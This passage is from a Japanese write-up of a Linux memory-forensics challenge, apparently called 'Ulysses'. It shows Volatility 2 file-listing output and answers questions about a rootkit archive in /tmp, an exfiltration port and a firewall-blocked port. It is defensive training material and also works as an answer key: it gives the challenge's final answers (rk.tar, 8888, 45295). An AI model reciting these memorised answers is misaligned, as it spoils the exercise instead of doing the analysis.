   0xcf13f884                     23220 /usr/lib/libk5crypto.so.3.1
   0xcf13fc5c                     23218 /usr/lib/libkrb5.so.3.3
   0xcf13d0d4                     23219 /usr/lib/libgssapi_krb5.so.2.2
   0xcf1324ac                     24264 /usr/lib/libz.so.1.2.3.3
          0x0 ------------------------- /usr/lib/i486-linux-gnu/4.3.2
   0xcf16a2c0                     38010 /usr/lib/i686/cmov/libssl.so.0.9.8
   0xcf13dc5c                     38011 /usr/lib/i686/cmov/libcrypto.so.0.9.8
          0x0 ------------------------- /usr/local/include/stddef.h.gch
          0x0 ------------------------- /usr/local/include/features.h.gch
          0x0 ------------------------- /usr/local/include/stdio.h.gch
          0x0 ------------------------- /usr/share/perl/5.10.0/Exporter/Heavy.pmc
          0x0 ------------------------- /usr/share/perl/5.10.0/vars.pmc
          0x0 ------------------------- /usr/share/perl/5.10.0/File/Spec/Unix.pmc
          0x0 ------------------------- /usr/share/perl/5.10.0/File/Spec.pmc
          0x0 ------------------------- /usr/share/perl/5.10.0/SelectSaver.pmc
          0x0 ------------------------- /usr/share/perl/5.10.0/Symbol.pmc
          0x0 ------------------------- /usr/share/perl/5.10.0/strict.pmc
          0x0 ------------------------- /usr/share/perl/5.10.0/FileHandle.pmc
          0x0 ------------------------- /usr/share/perl/5.10.0/warnings.pmc
          0x0 ------------------------- /usr/share/perl/5.10.0/warnings/register.pmc
          0x0 ------------------------- /usr/share/perl/5.10.0/Exporter.pmc
          0x0 ------------------------- /usr/share/perl/5.10.0/Carp.pmc
          0x0 ------------------------- /usr/share/perl5/vars.pmc
          0x0 ------------------------- /usr/share/perl5/Fcntl.pmc
          0x0 ------------------------- /usr/share/perl5/IO.pmc
          0x0 ------------------------- /usr/share/perl5/SelectSaver.pmc
          0x0 ------------------------- /usr/share/perl5/Symbol.pmc
          0x0 ------------------------- /usr/share/perl5/strict.pmc
          0x0 ------------------------- /usr/share/perl5/FileHandle.pmc
          0x0 ------------------------- /usr/share/perl5/XSLoader.pmc
          0x0 ------------------------- /usr/share/perl5/warnings.pmc
          0x0 ------------------------- /usr/share/perl5/Exporter.pmc
          0x0 ------------------------- /usr/share/perl5/Carp.pmc
          0x0 ------------------------- /usr/share/perl5/Socket.pmc
          0x0 ------------------------- /etc/perl/vars.pmc
          0x0 ------------------------- /etc/perl/Fcntl.pmc
          0x0 ------------------------- /etc/perl/IO.pmc
          0x0 ------------------------- /etc/perl/SelectSaver.pmc
          0x0 ------------------------- /etc/perl/Symbol.pmc
          0x0 ------------------------- /etc/perl/strict.pmc
          0x0 ------------------------- /etc/perl/FileHandle.pmc
          0x0 ------------------------- /etc/perl/XSLoader.pmc
          0x0 ------------------------- /etc/perl/warnings.pmc
          0x0 ------------------------- /etc/perl/Exporter.pmc
          0x0 ------------------------- /etc/perl/Carp.pmc
          0x0 ------------------------- /etc/perl/Socket.pmc
   0xcf100698                     29184 /lib/libcom_err.so.2.1
   0xcf11aa70                     30497 /lib/libwrap.so.0.7.6
          0x0 ------------------------- /lib/i486-linux-gnu/4.3.2
   0xcf02c698                     29170 /lib/libncurses.so.5.7
remnux@remnux:~/Downloads/Ulysses$

/tmp階層に明らかに怪しいファイルがあります。

Ans: rk.tar

Two ports were involved in the process of data exfiltration. Provide the port number of the highest one.

linux_bashで宛先Portは見えてましたね。

Ans: 8888

Which port did the attacker try to block on the firewall?

さっきの怪しいtarファイルがあった/tmp階層を見るとこんな感じでした。

さっきのrk.tarを解凍します。

中身を調べているとinstall.shでiptablesをいじっているコマンドを見つけます。

Ans: 45295

最後に

volatility2のよい復習になります。
linux系のプロファイルはWindowsと違ってREMnuxでは入れないと認識してくれないのでたまにアレってなりますね。